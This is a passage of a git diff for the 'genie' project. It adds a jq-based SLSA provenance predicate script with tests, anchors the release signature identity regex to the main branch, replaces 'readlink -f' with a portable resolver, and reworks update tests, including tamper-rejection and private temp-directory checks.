"$SOURCE_BRANCH" \ + --arg source_ci_run_id "$SOURCE_CI_RUN_ID" \ + --arg source_uri "$SOURCE_URI" \ + --arg control_sha "$CONTROL_SHA" \ + --arg control_uri "$CONTROL_URI" \ + --arg invocation_id "https://github.com/${RELEASE_REPOSITORY}/actions/runs/${RUN_ID}/attempts/${RUN_ATTEMPT}" \ + '{ + buildDefinition: { + buildType: $build_type, + externalParameters: { + version: $version, + channel: $channel, + source_sha: $source_sha, + source_branch: $source_branch, + source_ci_run_id: $source_ci_run_id, + control_sha: $control_sha + }, + internalParameters: {}, + resolvedDependencies: [ + {uri: $source_uri, digest: {gitCommit: $source_sha}}, + {uri: $control_uri, digest: {gitCommit: $control_sha}} + ] + }, + runDetails: { + builder: {id: $builder_id}, + metadata: {invocationId: $invocation_id}, + byproducts: [] + } + }' >"$output" +} + +verify_result() { + local input="${1:-}" + [[ -f "$input" ]] || exit 64 + jq -e \ + --arg predicate_type "$PREDICATE_TYPE" \ + --arg builder_id "$BUILDER_ID" \ + --arg build_type "$BUILD_TYPE" \ + --arg version "$VERSION" \ + --arg channel "$CHANNEL" \ + --arg source_sha "$SOURCE_SHA" \ + --arg source_branch "$SOURCE_BRANCH" \ + --arg source_ci_run_id "$SOURCE_CI_RUN_ID" \ + --arg source_uri "$SOURCE_URI" \ + --arg control_sha "$CONTROL_SHA" \ + --arg control_uri "$CONTROL_URI" \ + 'type == "array" and length > 0 and any(.[]; + .verificationResult.statement as $statement | + $statement.predicateType == $predicate_type and + $statement.predicate.runDetails.builder.id == $builder_id and + $statement.predicate.buildDefinition.buildType == $build_type and + $statement.predicate.buildDefinition.externalParameters.version == $version and + $statement.predicate.buildDefinition.externalParameters.channel == $channel and + $statement.predicate.buildDefinition.externalParameters.source_sha == $source_sha and + $statement.predicate.buildDefinition.externalParameters.source_branch == $source_branch and + $statement.predicate.buildDefinition.externalParameters.source_ci_run_id == $source_ci_run_id and + $statement.predicate.buildDefinition.externalParameters.control_sha == $control_sha and + ($statement.predicate.buildDefinition.resolvedDependencies | length) == 2 and + any($statement.predicate.buildDefinition.resolvedDependencies[]; + .uri == $source_uri and .digest.gitCommit == $source_sha) and + any($statement.predicate.buildDefinition.resolvedDependencies[]; + .uri == $control_uri and .digest.gitCommit == $control_sha) + )' "$input" >/dev/null +} + +# Promotion reuses the exact already-published assets. Their original source +# branch/control commit may differ from the promotion run, so validate that the +# signed predicate is internally consistent and was produced by the pinned +# main-branch signer, while retaining the exact release version/repository. +reusable_control_sha() { + local input="${1:-}" + [[ -f "$input" ]] || exit 64 + jq -er \ + --arg predicate_type "$PREDICATE_TYPE" \ + --arg builder_id "$BUILDER_ID" \ + --arg build_type "$BUILD_TYPE" \ + --arg version "$VERSION" \ + --arg repository "$RELEASE_REPOSITORY" \ + 'first( + .[] | + .verificationResult.statement as $statement | + $statement.predicate.buildDefinition.externalParameters as $parameters | + select( + $statement.predicateType == $predicate_type and + $statement.predicate.runDetails.builder.id == $builder_id and + $statement.predicate.buildDefinition.buildType == $build_type and + $parameters.version == $version and + ($parameters.channel | test("^(stable|homolog|dev)$")) and + ($parameters.source_sha | test("^[0-9a-f]{40}$")) and + ($parameters.source_branch | test("^(main|homolog|dev)$")) and + ($parameters.source_ci_run_id | test("^[0-9]+$")) and + ($parameters.control_sha | test("^[0-9a-f]{40}$")) and + ($statement.predicate.buildDefinition.resolvedDependencies | length) == 2 and + any($statement.predicate.buildDefinition.resolvedDependencies[]; + .uri == ("git+https://github.com/" + $repository + "@refs/heads/" + $parameters.source_branch) and + .digest.gitCommit == $parameters.source_sha) and + any($statement.predicate.buildDefinition.resolvedDependencies[]; + .uri == ("git+https://github.com/" + $repository + "@refs/heads/main") and + .digest.gitCommit == $parameters.control_sha) + ) | + $parameters.control_sha + )' "$input" +} + +verify_reusable_result() { + reusable_control_sha "${1:-}" >/dev/null +} + +case "${1:-}" in + create) require_exact_identity; create_predicate "${2:-}" ;; + verify) require_exact_identity; verify_result "${2:-}" ;; + verify-reusable) verify_reusable_result "${2:-}" ;; + reusable-control-sha) reusable_control_sha "${2:-}" ;; + *) exit 64 ;; +esac diff --git a/scripts/release-native-predicate.test.ts b/scripts/release-native-predicate.test.ts new file mode 100644 index 000000000..ceff44543 --- /dev/null +++ b/scripts/release-native-predicate.test.ts @@ -0,0 +1,123 @@ +import { afterEach, describe, expect, test } from 'bun:test'; +import { mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; + +const SCRIPT = join(import.meta.dir, 'release-native-predicate.sh'); +const SOURCE_SHA = 'a'.repeat(40); +const CONTROL_SHA = 'b'.repeat(40); +const roots: string[] = []; + +afterEach(() => { + for (const root of roots.splice(0)) rmSync(root, { recursive: true, force: true }); +}); + +const env = { + ...process.env, + RELEASE_REPOSITORY: 'automagik-dev/genie', + VERSION: '5.260714.2', + CHANNEL: 'dev', + SOURCE_SHA, + SOURCE_BRANCH: 'dev', + SOURCE_CI_RUN_ID: '123456', + CONTROL_SHA, + RUN_ID: '987654', + RUN_ATTEMPT: '2', +}; + +function invoke( + mode: 'create' | 'verify' | 'verify-reusable' | 'reusable-control-sha', + path: string, + overrides: Record = {}, +) { + return Bun.spawnSync(['bash', SCRIPT, mode, path], { + env: { ...env, ...overrides }, + stdout: 'pipe', + stderr: 'pipe', + }); +} + +describe('native release attestation predicate', () => { + test('records distinct exact source and trusted control dependencies', () => { + const root = mkdtempSync(join(tmpdir(), 'genie-native-predicate-')); + roots.push(root); + const predicatePath = join(root, 'predicate.json'); + expect(invoke('create', predicatePath).exitCode).toBe(0); + const predicate = JSON.parse(readFileSync(predicatePath, 'utf8')); + expect(predicate.buildDefinition.externalParameters.source_sha).toBe(SOURCE_SHA); + expect(predicate.buildDefinition.externalParameters.control_sha).toBe(CONTROL_SHA); + expect(predicate.buildDefinition.resolvedDependencies).toEqual([ + { + uri: 'git+https://github.com/automagik-dev/genie@refs/heads/dev', + digest: { gitCommit: SOURCE_SHA }, + }, + { + uri: 'git+https://github.com/automagik-dev/genie@refs/heads/main', + digest: { gitCommit: CONTROL_SHA }, + }, + ]); + }); + + test('verification requires the exact source and control identities', () => { + const root = mkdtempSync(join(tmpdir(), 'genie-native-policy-')); + roots.push(root); + const predicatePath = join(root, 'predicate.json'); + const resultPath = join(root, 'result.json'); + expect(invoke('create', predicatePath).exitCode).toBe(0); + const predicate = JSON.parse(readFileSync(predicatePath, 'utf8')); + const verification = [ + { + verificationResult: { + statement: { predicateType: 'https://slsa.dev/provenance/v1', predicate }, + }, + }, + ]; + writeFileSync(resultPath, JSON.stringify(verification)); + expect(invoke('verify', resultPath).exitCode).toBe(0); + + predicate.buildDefinition.resolvedDependencies[0].digest.gitCommit = 'c'.repeat(40); + writeFileSync(resultPath, JSON.stringify(verification)); + expect(invoke('verify', resultPath).exitCode).not.toBe(0); + + predicate.buildDefinition.resolvedDependencies[0].digest.gitCommit = SOURCE_SHA; + predicate.buildDefinition.resolvedDependencies[1].digest.gitCommit = 'd'.repeat(40); + writeFileSync(resultPath, JSON.stringify(verification)); + expect(invoke('verify', resultPath).exitCode).not.toBe(0); + }); + + test('malformed source identity is rejected before predicate creation', () => { + const root = mkdtempSync(join(tmpdir(), 'genie-native-invalid-')); + roots.push(root); + expect(invoke('create', join(root, 'predicate.json'), { SOURCE_SHA: 'not-a-sha' }).exitCode).toBe(2); + }); + + test('reusable policy returns only an internally consistent trusted control digest', () => { + const root = mkdtempSync(join(tmpdir(), 'genie-native-reusable-')); + roots.push(root); + const predicatePath = join(root, 'predicate.json'); + const resultPath = join(root, 'result.json'); + expect(invoke('create', predicatePath).exitCode).toBe(0); + const predicate = JSON.parse(readFileSync(predicatePath, 'utf8')); + const result = [ + { + verificationResult: { + statement: { predicateType: 'https://slsa.dev/provenance/v1', predicate }, + }, + }, + ]; + writeFileSync(resultPath, JSON.stringify(result)); + const control = invoke('reusable-control-sha', resultPath); + expect(control.exitCode).toBe(0); + expect(control.stdout.toString().trim()).toBe(CONTROL_SHA); + expect(invoke('verify-reusable', resultPath).exitCode).toBe(0); + + predicate.buildDefinition.buildType = 'https://example.invalid/build'; + writeFileSync(resultPath, JSON.stringify(result)); + expect(invoke('reusable-control-sha', resultPath).exitCode).not.toBe(0); + + predicate.buildDefinition.buildType = 'https://github.com/automagik-dev/genie/release-tarballs@v1'; + predicate.buildDefinition.resolvedDependencies[1].digest.gitCommit = 'd'.repeat(40); + writeFileSync(resultPath, JSON.stringify(result)); + expect(invoke('reusable-control-sha', resultPath).exitCode).not.toBe(0); + }); +}); diff --git a/scripts/verify-release.sh b/scripts/verify-release.sh index fe18164d2..f5ae26833 100755 --- a/scripts/verify-release.sh +++ b/scripts/verify-release.sh @@ -18,7 +18,7 @@ # Requires: cosign (>=2.2), slsa-verifier (>=2.6). gh is required for mode # and, when present, adds a GitHub-native attestation cross-check. # -# Exit codes mirror `genie sec verify-install` semantics (Group 2): +# Exit codes are the public contract consumed by SECURITY.md: # 0 = verified # 2 = cosign signature verification failed # 4 = SLSA provenance verification failed @@ -33,12 +33,12 @@ set -euo pipefail # script. Rotating the pin requires editing this block AND every witness # listed in scripts/check-fingerprint-pinning.sh WITNESSES array. # -# certificate-identity-regexp: ^https://github.com/automagik-dev/genie/.github/workflows/sign-attest.yml@ +# certificate-identity-regexp: ^https://github\.com/automagik-dev/genie/\.github/workflows/sign-attest\.yml@refs/heads/main$ # certificate-oidc-issuer: https://token.actions.githubusercontent.com # provenance source-uri: github.com/automagik-dev/genie REPO="automagik-dev/genie" OWNER="${REPO%%/*}" -WORKFLOW_IDENTITY_REGEXP="^https://github.com/${REPO}/.github/workflows/sign-attest.yml@" +WORKFLOW_IDENTITY_REGEXP="^https://github\\.com/${REPO}/\\.github/workflows/sign-attest\\.yml@refs/heads/main$" OIDC_ISSUER="https://token.actions.githubusercontent.com" SOURCE_URI="github.com/${REPO}" @@ -55,6 +55,26 @@ usage() { exit 64 } +# Resolve the containing directory physically without GNU-only `readlink -f`. +# Keep the final basename unchanged so its adjacent .bundle/.intoto.jsonl files +# remain the verification inputs on both macOS and Linux. +physical_local_path() { + local input="$1" directory basename + case "$input" in + */*) + directory="${input%/*}" + basename="${input##*/}" + [[ -n "$directory" ]] || directory='/' + ;; + *) + directory='.' + basename="$input" + ;; + esac + [[ -n "$basename" ]] || return 1 + (cd -P "$directory" 2>/dev/null && printf '%s/%s\n' "$PWD" "$basename") +} + # Verify a single tarball against its sidecar cosign bundle + SLSA provenance, # plus a best-effort GitHub-native attestation cross-check when gh is available. verify_one() { @@ -114,7 +134,10 @@ main() { --local) [ -n "${2:-}" ] || usage local one - one="$(readlink -f "$2")" + one="$(physical_local_path "$2")" || { + echo "error: no tarball found: ${2} — exit 5" >&2 + exit 5 + } [ -f "${one}" ] || { echo "error: no tarball found: ${2} — exit 5" >&2; exit 5; } tarballs=("${one}") ;; diff --git a/scripts/verify-release.test.ts b/scripts/verify-release.test.ts index 03da41206..13d8f4d53 100644 --- a/scripts/verify-release.test.ts +++ b/scripts/verify-release.test.ts @@ -1,7 +1,7 @@ import { afterEach, describe, expect, test } from 'bun:test'; import { chmodSync, mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs'; import { tmpdir } from 'node:os'; -import { join } from 'node:path'; +import { basename, dirname, join } from 'node:path'; // Fixtures for scripts/verify-release.sh realigned to the real release asset // scheme (wish stable-release-security-gate, F31b): per-tarball @@ -33,7 +33,10 @@ function fixture(stubs: Stubs & { bundle?: boolean; intoto?: boolean }) { writeFileSync(join(stub, 'cosign'), `#!/bin/sh\nexit ${stubs.cosignExit ?? 0}\n`); writeFileSync(join(stub, 'slsa-verifier'), `#!/bin/sh\nexit ${stubs.slsaExit ?? 0}\n`); writeFileSync(join(stub, 'gh'), '#!/bin/sh\nexit 1\n'); - for (const name of ['cosign', 'slsa-verifier', 'gh']) chmodSync(join(stub, name), 0o755); + // Stock macOS readlink has no -f. Any accidental dependency on readlink is + // therefore a portability failure even when these tests run on GNU hosts. + writeFileSync(join(stub, 'readlink'), '#!/bin/sh\nexit 99\n'); + for (const name of ['cosign', 'slsa-verifier', 'gh', 'readlink']) chmodSync(join(stub, name), 0o755); const assets = join(root, 'assets'); mkdirSync(assets, { recursive: true }); @@ -63,6 +66,18 @@ describe('verify-release.sh (F31b — real asset scheme)', () => { expect(out).toContain('cosign-signed AND SLSA-attested'); }); + test('local verification resolves a relative path without GNU readlink -f', () => { + const { stub, tarball } = fixture({}); + const run = Bun.spawnSync(['bash', SCRIPT, '--local', basename(tarball)], { + cwd: dirname(tarball), + env: { PATH: `${stub}:${process.env.PATH ?? ''}` }, + stdout: 'pipe', + stderr: 'pipe', + }); + expect(run.exitCode).toBe(0); + expect(run.stdout.toString()).toContain('verified 1 tarball'); + }); + test('a failed cosign signature check exits 2', () => { const { stub, tarball } = fixture({ cosignExit: 1 }); const run = verifyLocal(stub, tarball); diff --git a/src/genie-commands/__tests__/update.test.ts b/src/genie-commands/__tests__/update.test.ts index 177d1a521..b775659e9 100644 --- a/src/genie-commands/__tests__/update.test.ts +++ b/src/genie-commands/__tests__/update.test.ts @@ -12,7 +12,6 @@ */ import { afterEach, beforeEach, describe, expect, test } from 'bun:test'; -import { spawnSync } from 'node:child_process'; import { createHash } from 'node:crypto'; import { chmodSync, @@ -24,12 +23,11 @@ import { renameSync, rmSync, statSync, - utimesSync, writeFileSync, } from 'node:fs'; import { tmpdir } from 'node:os'; import { join } from 'node:path'; -import { type AgentSyncReport, acquireLifecycleLease, lifecycleLockPath, runAgentSync } from '../../lib/agent-sync'; +import { type AgentSyncReport, acquireLifecycleLease, runAgentSync } from '../../lib/agent-sync'; import { REQUIRED_GENIE_MCP_TOOLS } from '../../lib/codex-mcp-health-session'; import type { CodexPluginProbe } from '../../lib/codex-project-mcp'; import { @@ -49,8 +47,8 @@ import { type LatestManifest, type VerifyResult, _resetNextDeprecationLatchForTest, - atomicBinarySwap, compareVersions, + createPrivateUpdateTempRoot, decideDowngrade, decideVerify, downloadAndVerifyTarball, @@ -67,15 +65,12 @@ import { narrowUpdateAgentSyncSelection, normalizeVersion, persistChannel, - pruneSameVersionBackups, - quarantinePendingDelivery, - recordPendingDelivery, resolveChannel, resolveLiveBinaryPath, resolvePlatformId, resolveUpdateExecutionMode, resumePendingDelivery, - rollbackBinary, + rollbackBinaryAt, runAgentSyncSafe, runFreshBinaryPostDeliveryConvergence, runLegacySyncOnlyConvergence, @@ -86,7 +81,6 @@ import { shouldEmitPathDivergenceWarning, summarizeJsonlSignals, syncAuxiliaryContent, - syncBinaryVersionStamp, verifySwappedBinary, } from '../update.js'; @@ -977,6 +971,35 @@ describe('resolvePlatformId (G5)', () => { }); }); +describe('private external update staging', () => { + test('creates one current-user mode-0700 root beneath a protected namespace', () => { + const namespace = mkdtempSync(join(tmpdir(), 'genie-update-temp-parent-')); + const base = join(namespace, 'base'); + mkdirSync(base, { mode: 0o700 }); + try { + const root = createPrivateUpdateTempRoot(base); + expect(statSync(root).mode & 0o777).toBe(0o700); + expect(root.startsWith(`${base}/genie-update-`)).toBe(true); + } finally { + rmSync(namespace, { recursive: true, force: true }); + } + }); + + test('rejects a private-looking base whose namespace parent is world-writable and non-sticky', () => { + const namespace = mkdtempSync(join(tmpdir(), 'genie-update-temp-unsafe-')); + const base = join(namespace, 'base'); + mkdirSync(base, { mode: 0o700 }); + chmodSync(namespace, 0o777); + try { + expect(() => createPrivateUpdateTempRoot(base)).toThrow('unsafe cross-principal replacement'); + expect(readdirSync(base)).toEqual([]); + } finally { + chmodSync(namespace, 0o700); + rmSync(namespace, { recursive: true, force: true }); + } + }); +}); + describe('downloadAndVerifyTarball (G5)', () => { const manifest: LatestManifest = { schema_version: 1, @@ -1026,7 +1049,7 @@ describe('downloadAndVerifyTarball (G5)', () => { '--repo', 'automagik-dev/genie', '--cert-identity-regex', - '^https://github.com/automagik-dev/genie/.github/workflows/sign-attest.yml@', + '^https://github\\.com/automagik-dev/genie/\\.github/workflows/sign-attest\\.yml@refs/heads/main$', '--cert-oidc-issuer', 'https://token.actions.githubusercontent.com', ]); @@ -1096,7 +1119,7 @@ describe('downloadAndVerifyTarball (G5)', () => { '--bundle', bundlePath, '--certificate-identity-regexp', - '^https://github.com/automagik-dev/genie/.github/workflows/sign-attest.yml@', + '^https://github\\.com/automagik-dev/genie/\\.github/workflows/sign-attest\\.yml@refs/heads/main$', '--certificate-oidc-issuer', 'https://token.actions.githubusercontent.com', tarballPath, @@ -1173,433 +1196,27 @@ describe('extractTarball (G5 — corrupt artifact)', () => { // so tmp dir is on the test runner's filesystem. // ============================================================================ -describe('atomicBinarySwap (G5)', () => { - test('standalone install.sh and TypeScript update contend on the same lifecycle lease', () => { - const tmp = mkdtempSync(join(tmpdir(), 'genie-installer-lifecycle-')); - const home = join(tmp, 'home', '.genie'); - const installer = join(import.meta.dir, '..', '..', '..', 'install.sh'); - mkdirSync(home, { recursive: true }); - const lease = acquireLifecycleLease(home); - expect('skipped' in lease).toBe(false); - try { - const blocked = spawnSync('bash', ['-c', 'source "$1"; acquire_lifecycle_lock', 'bash', installer], { - encoding: 'utf8', - env: { ...process.env, GENIE_HOME: home, GENIE_INSTALL_SOURCE_ONLY: '1' }, - }); - expect(blocked.status).toBe(1); - expect(blocked.stderr).toContain('another Genie lifecycle command is active'); - } finally { - if (!('skipped' in lease)) lease.release(); - } - - const acquired = spawnSync( - 'bash', - [ - '-c', - 'source "$1"; acquire_lifecycle_lock; test -f "$LIFECYCLE_LOCK"; release_lifecycle_lock', - 'bash', - installer, - ], - { - encoding: 'utf8', - env: { ...process.env, GENIE_HOME: home, GENIE_INSTALL_SOURCE_ONLY: '1' }, - }, - ); - expect(acquired.status).toBe(0); - rmSync(tmp, { recursive: true, force: true }); - }); - - test('guard-debris parity: shell and TypeScript evaluate each other’s steal-guard format', () => { - const tmp = mkdtempSync(join(tmpdir(), 'genie-guard-parity-')); - const home = join(tmp, 'home', '.genie'); - const installer = join(import.meta.dir, '..', '..', '..', 'install.sh'); - mkdirSync(home, { recursive: true }); - const agedSec = (Date.now() - 11 * 60 * 1000) / 1000; // 11 min > 10 min age-out - const underTest = join(tmp, 'guard-under-test'); - // Evaluate a guard file with the shell helper; exit 0 = reapable, 1 = not. - const shellReapable = (guardPath: string) => - spawnSync('bash', ['-c', 'source "$1"; foreign_lock_record_is_stale "$2"', 'bash', installer, guardPath], { - encoding: 'utf8', - env: { ...process.env, GENIE_INSTALL_SOURCE_ONLY: '1' }, - }).status; - try { - // Direction 1 — the shell reads a guard written in the TS record shape - // (pid:token32:sha64): an aged, dead owner is reapable... - writeFileSync(underTest, `999999:0123456789abcdef0123456789abcdef:${'0'.repeat(64)}\n`, { mode: 0o600 }); - utimesSync(underTest, agedSec, agedSec); - expect(shellReapable(underTest)).toBe(0); - // ...but the same TS-shape record owned by THIS live process is never reaped. - writeFileSync(underTest, `${process.pid}:0123456789abcdef0123456789abcdef:${'0'.repeat(64)}\n`, { mode: 0o600 }); - utimesSync(underTest, agedSec, agedSec); - expect(shellReapable(underTest)).toBe(1); - - // Direction 2 — TypeScript's lockOwner reads a guard written in the shell - // record shape (pid:token32:unknown). Plant a stale lifecycle lock plus the - // aged, dead-owner shell-format guard and let acquireLifecycleLease drive - // stealStaleLock: it reaps the guard and backs off. - const lockPath = lifecycleLockPath(home); - const guardPath = `${lockPath}.steal`; - writeFileSync(lockPath, '999999:0123456789abcdef0123456789abcdef:unknown\n', { mode: 0o600 }); - writeFileSync(guardPath, '888888:abcdefabcdefabcdefabcdefabcdefab:unknown\n', { mode: 0o600 }); - utimesSync(lockPath, agedSec, agedSec); - utimesSync(guardPath, agedSec, agedSec); - - const outcome = acquireLifecycleLease(home); - try { - expect('skipped' in outcome).toBe(true); // reaped the guard, then backed off - expect(existsSync(guardPath)).toBe(false); // TS evaluated the shell-format record and reaped it - } finally { - if (!('skipped' in outcome)) outcome.release(); - } - } finally { - rmSync(tmp, { recursive: true, force: true }); - } - }); - - test('happy path: stages binary, backs up old, swaps in new', () => { - const tmp = mkdtempSync(join(tmpdir(), 'genie-swap-')); - try { - const stagedBin = join(tmp, 'staged', 'genie'); - const targetBin = join(tmp, 'bin', 'genie'); - const previousDir = join(tmp, 'bin', '.previous'); - mkdirSync(join(tmp, 'staged'), { recursive: true }); - mkdirSync(join(tmp, 'bin'), { recursive: true }); - writeFileSync(stagedBin, 'NEW_BINARY'); - writeFileSync(targetBin, 'OLD_BINARY'); - - const result = atomicBinarySwap(stagedBin, targetBin, previousDir, '4.260507.0'); - expect(result.swapped).toBe(true); - expect(result.oldVersionBackup).toBe(join(previousDir, 'genie-4.260507.0')); - expect(readFileSync(targetBin, 'utf-8')).toBe('NEW_BINARY'); - expect(readFileSync(result.oldVersionBackup as string, 'utf-8')).toBe('OLD_BINARY'); - // staging consumed - expect(existsSync(stagedBin)).toBe(false); - } finally { - rmSync(tmp, { recursive: true, force: true }); - } - }); - - test('first-time install (no current binary) skips backup', () => { - const tmp = mkdtempSync(join(tmpdir(), 'genie-swap-')); - try { - const stagedBin = join(tmp, 'staged', 'genie'); - const targetBin = join(tmp, 'bin', 'genie'); - const previousDir = join(tmp, 'bin', '.previous'); - mkdirSync(join(tmp, 'staged'), { recursive: true }); - writeFileSync(stagedBin, 'FIRST_BINARY'); - - const result = atomicBinarySwap(stagedBin, targetBin, previousDir, '4.260507.0'); - expect(result.swapped).toBe(true); - expect(result.oldVersionBackup).toBeNull(); - expect(readFileSync(targetBin, 'utf-8')).toBe('FIRST_BINARY'); - } finally { - rmSync(tmp, { recursive: true, force: true }); - } - }); - - test('throws when the staged binary is missing', () => { - const tmp = mkdtempSync(join(tmpdir(), 'genie-swap-')); - try { - const stagedBin = join(tmp, 'staged', 'genie'); - const targetBin = join(tmp, 'bin', 'genie'); - const previousDir = join(tmp, 'bin', '.previous'); - expect(() => atomicBinarySwap(stagedBin, targetBin, previousDir, '4.260507.0')).toThrow(/staged binary missing/); - } finally { - rmSync(tmp, { recursive: true, force: true }); - } - }); - - test('overwrites a stale backup at the same version', () => { - const tmp = mkdtempSync(join(tmpdir(), 'genie-swap-')); - try { - const stagedBin = join(tmp, 'staged', 'genie'); - const targetBin = join(tmp, 'bin', 'genie'); - const previousDir = join(tmp, 'bin', '.previous'); - mkdirSync(join(tmp, 'staged'), { recursive: true }); - mkdirSync(join(tmp, 'bin'), { recursive: true }); - mkdirSync(previousDir, { recursive: true }); - writeFileSync(stagedBin, 'NEW'); - writeFileSync(targetBin, 'CURRENT'); - // Stale backup from a prior run at the same old version. - writeFileSync(join(previousDir, 'genie-4.260507.0'), 'STALE_BACKUP'); - - const result = atomicBinarySwap(stagedBin, targetBin, previousDir, '4.260507.0'); - expect(readFileSync(result.oldVersionBackup as string, 'utf-8')).toBe('CURRENT'); - expect(readdirSync(previousDir)).toHaveLength(2); - expect(pruneSameVersionBackups(previousDir, '4.260507.0', result.oldVersionBackup as string)).toHaveLength(1); - expect(readdirSync(previousDir)).toEqual([expect.stringMatching(/^genie-4\.260507\.0(?:\.|$)/)]); - } finally { - rmSync(tmp, { recursive: true, force: true }); - } - }); - - test('preserves a journal-bound source while removing the redundant swap copy', () => { - const tmp = mkdtempSync(join(tmpdir(), 'genie-swap-journal-source-')); - try { - const stagedBin = join(tmp, 'staged', 'genie'); - const targetBin = join(tmp, 'bin', 'genie'); - mkdirSync(join(tmp, 'staged'), { recursive: true }); - writeFileSync(stagedBin, 'NEW'); - atomicBinarySwap(stagedBin, targetBin, join(tmp, 'bin', '.previous'), '4.260507.0', { - preserveSource: true, - }); - expect(readFileSync(stagedBin, 'utf8')).toBe('NEW'); - expect(readFileSync(targetBin, 'utf8')).toBe('NEW'); - } finally { - rmSync(tmp, { recursive: true, force: true }); - } - }); - - test('preserves 0o755 permissions on the swapped-in binary', () => { - const tmp = mkdtempSync(join(tmpdir(), 'genie-swap-')); - try { - const stagedBin = join(tmp, 'staged', 'genie'); - const targetBin = join(tmp, 'bin', 'genie'); - const previousDir = join(tmp, 'bin', '.previous'); - mkdirSync(join(tmp, 'staged'), { recursive: true }); - writeFileSync(stagedBin, 'NEW'); - - atomicBinarySwap(stagedBin, targetBin, previousDir, '4.260507.0'); - const mode = statSync(targetBin).mode & 0o777; - // 0o755 — owner rwx, group/other rx - expect(mode & 0o100).toBe(0o100); // owner exec bit - } finally { - rmSync(tmp, { recursive: true, force: true }); - } - }); - - test('an interruption before promotion leaves the old canonical binary runnable', () => { - const tmp = mkdtempSync(join(tmpdir(), 'genie-swap-interrupt-')); - try { - const stagedBin = join(tmp, 'staged', 'genie'); - const targetBin = join(tmp, 'bin', 'genie'); - const previousDir = join(tmp, 'bin', '.previous'); - mkdirSync(join(tmp, 'staged'), { recursive: true }); - mkdirSync(join(tmp, 'bin'), { recursive: true }); - writeFileSync(stagedBin, 'NEW_BINARY'); - writeFileSync(targetBin, 'OLD_BINARY'); - - expect(() => - atomicBinarySwap(stagedBin, targetBin, previousDir, '4.260507.0', { - beforePromote: () => { - expect(readFileSync(targetBin, 'utf8')).toBe('OLD_BINARY'); - throw new Error('power loss injected'); - }, - }), - ).toThrow('power loss injected'); - - expect(readFileSync(targetBin, 'utf8')).toBe('OLD_BINARY'); - expect(readFileSync(stagedBin, 'utf8')).toBe('NEW_BINARY'); - expect(readFileSync(join(previousDir, 'genie-4.260507.0'), 'utf8')).toBe('OLD_BINARY'); - } finally { - rmSync(tmp, { recursive: true, force: true }); - } - }); - - test('normal delivery consumes the journaled preimage and rejects a last-boundary binary replacement', () => { - const tmp = mkdtempSync(join(tmpdir(), 'genie-swap-preimage-race-')); - try { - const bin = join(tmp, 'bin'); - const staging = join(bin, '.staging'); - const extract = join(staging, 'extract-5.260711.7'); - const stagedBin = join(extract, 'genie'); - const targetBin = join(bin, 'genie'); - const tarball = join(staging, 'genie.tar.gz'); - const pendingPath = join(tmp, '.pending-delivery.json'); - const previousDir = join(bin, '.previous'); - mkdirSync(extract, { recursive: true }); - writeFileSync(stagedBin, 'NEW_BINARY'); - writeFileSync(targetBin, 'AUTHENTIC_OLD_BINARY'); - writeFileSync(tarball, 'verified tarball'); - chmodSync(stagedBin, 0o755); - chmodSync(targetBin, 0o755); - const pending = recordPendingDelivery( - { - version: '5.260711.7', - previousVersion: '5.260711.6', - previousBinaryPath: targetBin, - extractDir: extract, - tarballPath: tarball, - }, - pendingPath, - staging, - ); - expect(pending.payload.previousBinary).toBeDefined(); - - expect(() => - atomicBinarySwap(stagedBin, targetBin, previousDir, '5.260711.6', { - preserveSource: true, - expectedPreimage: pending.payload.previousBinary, - expectedPayloadFingerprint: pending.payload.binary, - beforePromote: () => writeFileSync(targetBin, 'CONCURRENT_INSTALLER_BINARY'), - }), - ).toThrow('preimage changed immediately before promotion'); - expect(readFileSync(targetBin, 'utf8')).toBe('CONCURRENT_INSTALLER_BINARY'); - expect(readFileSync(stagedBin, 'utf8')).toBe('NEW_BINARY'); - expect(readFileSync(join(previousDir, 'genie-5.260711.6'), 'utf8')).toBe('AUTHENTIC_OLD_BINARY'); - } finally { - rmSync(tmp, { recursive: true, force: true }); - } - }); - - test('normal delivery re-authenticates its rollback backup at the final promotion boundary', () => { - const tmp = mkdtempSync(join(tmpdir(), 'genie-swap-backup-race-')); - try { - const bin = join(tmp, 'bin'); - const staging = join(bin, '.staging'); - const extract = join(staging, 'extract-5.260711.7'); - const stagedBin = join(extract, 'genie'); - const targetBin = join(bin, 'genie'); - const tarball = join(staging, 'genie.tar.gz'); - const previousDir = join(bin, '.previous'); - mkdirSync(extract, { recursive: true }); - writeFileSync(stagedBin, 'NEW_BINARY'); - writeFileSync(targetBin, 'AUTHENTIC_OLD_BINARY'); - writeFileSync(tarball, 'verified tarball'); - chmodSync(stagedBin, 0o755); - chmodSync(targetBin, 0o755); - const pending = recordPendingDelivery( - { - version: '5.260711.7', - previousVersion: '5.260711.6', - previousBinaryPath: targetBin, - extractDir: extract, - tarballPath: tarball, - }, - join(tmp, '.pending-delivery.json'), - staging, - ); - - expect(() => - atomicBinarySwap(stagedBin, targetBin, previousDir, '5.260711.6', { - preserveSource: true, - expectedPreimage: pending.payload.previousBinary, - expectedPayloadFingerprint: pending.payload.binary, - beforePromote: () => writeFileSync(join(previousDir, 'genie-5.260711.6'), 'TAMPERED_BACKUP'), - }), - ).toThrow('rollback backup does not match'); - expect(readFileSync(targetBin, 'utf8')).toBe('AUTHENTIC_OLD_BINARY'); - expect(readFileSync(stagedBin, 'utf8')).toBe('NEW_BINARY'); - } finally { - rmSync(tmp, { recursive: true, force: true }); - } - }); - - test('normal delivery rejects a replacement changed after copy but before promotion', () => { - const tmp = mkdtempSync(join(tmpdir(), 'genie-swap-payload-race-')); - try { - const bin = join(tmp, 'bin'); - const staging = join(bin, '.staging'); - const extract = join(staging, 'extract-5.260711.7'); - const stagedBin = join(extract, 'genie'); - const targetBin = join(bin, 'genie'); - const tarball = join(staging, 'genie.tar.gz'); - const journal = join(tmp, '.pending-delivery.json'); - const previousDir = join(bin, '.previous'); - mkdirSync(extract, { recursive: true }); - writeFileSync(stagedBin, 'AUTHENTIC_NEW_BINARY'); - writeFileSync(targetBin, 'AUTHENTIC_OLD_BINARY'); - writeFileSync(tarball, 'verified tarball'); - chmodSync(stagedBin, 0o755); - chmodSync(targetBin, 0o755); - const pending = recordPendingDelivery( - { - version: '5.260711.7', - previousVersion: '5.260711.6', - previousBinaryPath: targetBin, - extractDir: extract, - tarballPath: tarball, - }, - journal, - staging, - ); - - expect(() => - atomicBinarySwap(stagedBin, targetBin, previousDir, '5.260711.6', { - preserveSource: true, - expectedPreimage: pending.payload.previousBinary, - expectedPayloadFingerprint: 